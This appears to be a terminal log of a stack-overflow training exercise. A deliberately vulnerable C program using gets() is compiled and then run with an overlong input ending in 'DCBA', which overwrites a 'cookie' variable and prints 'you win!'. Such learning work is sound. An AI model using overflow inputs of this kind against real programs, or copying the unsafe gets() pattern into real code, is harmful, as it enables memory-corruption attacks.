

franco@franco-VirtualBox: ~

bash: ./stack1: cannot execute binary file

root@:~/Codigo# gcc -Wall -o stack1 stack1.c

stack1.c: In function `main':

stack1.c:12: warning: unsigned int format, pointer arg (arg 2)

stack1.c:12: warning: unsigned int format, pointer arg (arg 3)

stack1.c:19: warning: control reaches end of non-void function

/var/tmp//ccfxCAH1.o(.text+0x5c): In function `main':

: warning: warning: this program uses gets(), which is unsafe.

root@:~/Codigo# ./stack1

buf: 7fffd968 cookie: 7fffd9b8

^B

cookie: 00000001

root@:~/Codigo# ./stack1

buf: 7fffd968 cookie: 7fffd9b8

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

DCBA

cookie: 41424344

you win!

root@:~/Codigo# ./stack1

buf: 7fffd968 cookie: 7fffd9b8

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

ABCD

cookie: 44434241

root@:~/Codigo#